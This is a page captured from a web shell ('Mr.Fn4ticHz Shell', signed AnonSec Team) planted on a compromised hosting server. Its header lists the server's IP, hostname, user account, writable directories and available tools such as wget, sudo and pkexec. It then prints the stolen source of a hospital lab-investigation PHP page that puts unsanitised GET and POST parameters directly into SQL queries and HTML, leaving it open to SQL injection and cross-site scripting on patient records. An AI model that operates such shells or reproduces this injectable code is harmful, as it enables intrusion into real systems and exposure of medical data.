Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.119.111.179
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//showinvestigation.php
<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");
include 'dashboarddocument.php';
if(isset($_POST[submit]))

	{
		PatientManager::nwinvestigation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Investigation]","$_POST[Result]","$_POST[Evidence]","$_POST[enteredby]");
	 }
	 
	 if(isset($_POST[sample]))

	{
		PatientManager::CollectSample("$_POST[ivid]","$_GET[prescriptionid]","$_POST[patientid]","$_POST[patientname]","$_POST[Investigation_des]","$_POST[Specimen_type]","$_POST[Container_Number]","$_POST[enteredby]");
	 }
	 
	 if(isset($_POST[pathreport]))

	{
		PatientManager::CollectSample("$_POST[ivid]","$_GET[prescriptionid]","$_POST[patientid]","$_POST[patientname]","$_POST[Investigation_des]","$_POST[Specimen_type]","$_POST[Container_Number]","$_POST[enteredby]");
	 }
	 
	 if(isset($_POST[radioreport]))

	{
		PatientManager::Radioreports("$_POST[rivid]","$_GET[prescriptionid]","$_POST[patientid]","$_POST[Study_Reveals]","$_POST[Impression]","$_POST[Suggested]","$_POST[enteredby]");
	 }

?>

  <style>
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }      
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #aaa;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
     
      
    </style>

 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
         <th><strong>Investigation Details</strong></th>
          <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
			{
if(Radiology==$rs[Investigation_type])
{
?>           <div id="mmenu" >
             <th><strong>Category</strong></th>
             </div>
                     
                   	  <?php
}
}
?>
  <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
			{
if(Pathology==$rs[Investigation_type])
{
?>           <div id="mmenu" >
             <th><strong>Specimen </strong></th>
              <th><strong>Value</strong></th>
             </div>
                     
                   	  <?php
}
}
?>
          <th><strong>Result</strong></th> 
          <th><strong>Report</strong></th>
               	  
	
                       </tr>
                     <tr> 
                 
<?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo "
    <td><b>Created At :</b>$rs[created_at]
    <br><b>Raised_at :</b> $rs[Raised_at]<br><b>Investigation type :</b>$rs[Investigation_type]-$rs[Investigation]</td> 
                     ";
}
?>  
        <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
			{
if(Radiology==$rs[Investigation_type])
{
?>           <div id="mmenu" >
            <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo "
                                                                                                                                                            
      <td>$rs[Category]</td> 
                 ";
}
?>  
             </div>
                     
                   	  <?php
}
}
?>

 <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
			{
if(Pathology==$rs[Investigation_type])
{
?>           <div id="mmenu" >
            <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo "
                                                                                                                                                            
      <td><span style='font-color:tomato;' style='backgraund-color=red' class='button' data-modal='modaltwo'><u><b>Collect sample</u></b></span> </td> 
       <td>$rs[Value]</td> 
                 ";
}
?>  
             </div>
                     
                   	  <?php
}
}
?>
      <?php
		$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " 
           <td>$rs[Result]</td>
	
                       
          
          ";
}
?>     

       
	<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(Hospital==$rs[usertype])
{
?>  <div id="mmenu">
                       </div>
                   	  <?php
}
}
?>
<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(Laboratory==$rs[usertype])
{
?>  <div id="mmenu">
             <td><strong>Action </strong></td>
                       </div>
                   	  <?php
}
}
?>

<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(DP_Laboratory==$rs[usertype])
{
?>  <div id="mmenu">
             <td><strong>Action </strong></td>
                       </div>
                   	  <?php
}
}
?>

<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(DP_Diagnostic==$rs[usertype])
{
?>  <div id="mmenu">
             <td><strong>Action </strong></td>
                       </div>
                   	  <?php
}
}
?>



<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(Hospital==$rs[usertype])
{
?>  <div id="mmenu">
     <td>
    <?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql1 ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rs1 = mysqli_fetch_array($qsql1))
		{
	
		    $usertype=$rs1['Investigation_type'];
if($usertype == 'Pathology'){
    echo "|Edit| |View| |Delete| <br> <u><a href='createreport.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&id=$_GET[id]'>Create report </a></u><span style='font-color:tomato;' style='backgraund-color=red' class='button' data-modal='modalOne'><u> Upload</u></span>";
} else{
    echo "|Edit| |View| |Delete| <br><span style='font-color:tomato;' style='backgraund-color=red' class='button' data-modal='modalfour'><u> Create Report</u></span>";
}
}
?>
           </td>
           
            <form class='form1' name="radioreport" method="post">
           <div id="modalfour" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                  
		<?php
		
		$sql1 ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rs1 = mysqli_fetch_array($qsql1))
		{
		$sql ="SELECT * FROM patient WHERE patientid='$rs1[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsp = mysqli_fetch_array($qsql))
		{
		  echo"
		  
		  <input type='hidden'  name='rivid'  id='rivid' value='$rs1[id]' readonly>
			
				<label>UHID</label>
				<input type='text'  name='patientid'  id='patientid' value='$rsp[patientid]' readonly>
			
				
				<label>Study Reveals </label>
		<input type='text' name='Study_Reveals' placeholder='Study Reveals'>
				
					
				<label>Impression  </label>
		<input type='text' name='Impression' placeholder='Impression'>
				
					
				<label>Suggested </label>
		<input type='text' name='Suggested' placeholder='Suggested'>
				

					";
		}	}
		?>
		<input type="submit" value="Create" name="radioreport">
      </form>
         
   </div>   </div>   </div>
                       </div>
	
          
              <div id="modalthree" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                   <form class='form1' name="pathreport" method="post">
		<?php
		  	$sql ="SELECT * FROM Collect_Sample WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsi = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM patient WHERE patientid='$rsi[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsp = mysqli_fetch_array($qsql))
		{
		  echo"
				<label>UHID</label>
				<input type='text'  name='patientid'  id='patientid' value='$rsi[patientid]' readonly>
			
				<label>Patient Name</label>
				<input type='text'  name='patientid' id='patientid' value='$rsp[patientname]' readonly>
			
							<label>Gender</label>
				<input type='text'  name='patientid' id='patientid' value='$rsp[gendor]' readonly>
			
			<label>DOB</label>
				<input type='text'  name='patientid' id='patientid' value='$rsp[dob]' readonly>
				
				<label>Sample Received At</label>
				<input type='text'  name='patientid' id='patientid' value='$rs1[created_at]' readonly>
			
				<label>Sample Type</label>
				<input type='text'  name='patientid' id='patientid' value='$rs1[Specimen_type]' readonly>
			
			
				<label>Container Number</label>
				<input type='text'  name='patientid' id='patientid' value='$rs1[Container_Number]' readonly>
				
				
				<label>Container Number</label>
				<input type='text'  name='patientid' id='patientid' value='$rs1[Container_Number]' readonly>
			
						<label>Investigation</label>
					<input type='text' placeholder='Investigation details' name='Investigation' value='$rsi[Investigation_des]' id='Investigation' readonly>
					
			
	    ";
		}
		}
		?>
	    	    
       <input type="submit" value="Create" name="pathreport">
      </form>
         
   </div>   </div>   </div>
                       </div>
              

        <div id="modalOne" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                   <form class='form1' name="opdmedicine" method="post">
		<?php
		  	$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsi = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM patient WHERE patientid='$rsi[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsp = mysqli_fetch_array($qsql))
		{
		  echo"
				<label>UHID</label>
				<input type='text'  name='patientid'  id='patientid' value='$rsi[patientid]' readonly>
			
				<label>Patient Name</label>
				<input type='text'  name='patientid' id='patientid' value='$rsp[patientname]' readonly>
			
				<label>Investigation type </label>
				
				<input type='text' placeholder='Investigation type' value='$rsi[Investigation_type]' name='Investigation_type' id='Investigation_type' readonly>
			<label>Investigation details</label>
					<input type='text' placeholder='Investigation details' name='Investigation' value='$rsi[Investigation]' id='Investigation' readonly>
				<label>	Raised By</label>
				<input type='text' placeholder='Raised By' name='Raised_at' value='$rsi[Raised_at]' id='Raised_at' readonly>
				<label>	Priority slip</label>
				<input type='text' placeholder='Priority slip' name='Priority_slip' id='Priority_slip' value='$rsi[Priority_slip]' readonly>
	    <label>Result</label>
	    <input type='text' placeholder='Result' name='duration'>
	    		
	    <label>Upload Evidence</label>
	    <input type='file'  name='duration'>
	    ";
		}
		}
		?>
	    	    
       <input type="submit" value="Submit" name="opdmedicine">
      </form>
         
   </div>   </div>   </div>
                       </div>
                   	  <?php
}
}
?>

   
</tr>
      
        </table>
      </div>
      </div>
       
             <div id="modaltwo" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                   <form class='form1' name="sample" method="post">
		<?php
		  	$sql ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsi = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM patient WHERE patientid='$rsi[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsp = mysqli_fetch_array($qsql))
		{
		  echo"
		  
		  <input type='hidden'  name='ivid'  id='ivid' value='$rsi[id]' readonly>
				<label>UHID</label>
				<input type='text'  name='patientid'  id='patientid' value='$rsp[patientid]' readonly>
			
				<label>Patient Name</label>
				<input type='text'  name='patientname' id='patientid' value='$rsp[patientname]' readonly>
			
				<label>Investigation</label>
				
				<input type='text' placeholder='Investigation type' value='$rsi[path_Investigation]' name='Investigation_des' id='Investigation' readonly>
				
				<label>Specimen type </label>
			<select name='Specimen_type'>
			<option value='' disabled selected>Specimen type </option>
			<option value='Blood'>Blood </option>
				<option value='Urine'>Urine </option>
					<option value='stool'>stool </option>
						<option value='sputum'>sputum</option>
								<option value='Throat swab'>Throat swab</option>
								<option value='serum'>serum</option>
								<option value='plasma'>plasma</option>
									<option value='Slit skin smear'>Slit skin smear</option>
										<option value='Pus'>Pus</option>
			</select>
	    		
	    <label>Container Number </label>
	    <input type='text' placeholder='Container Number'  name='Container_Number'>
	    
	    <input type='submit' name='sample' value='Save'>
	    </form>
	    ";
		}
		}
		?> 
		
       <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>

Anon7 - 2022
AnonSec Team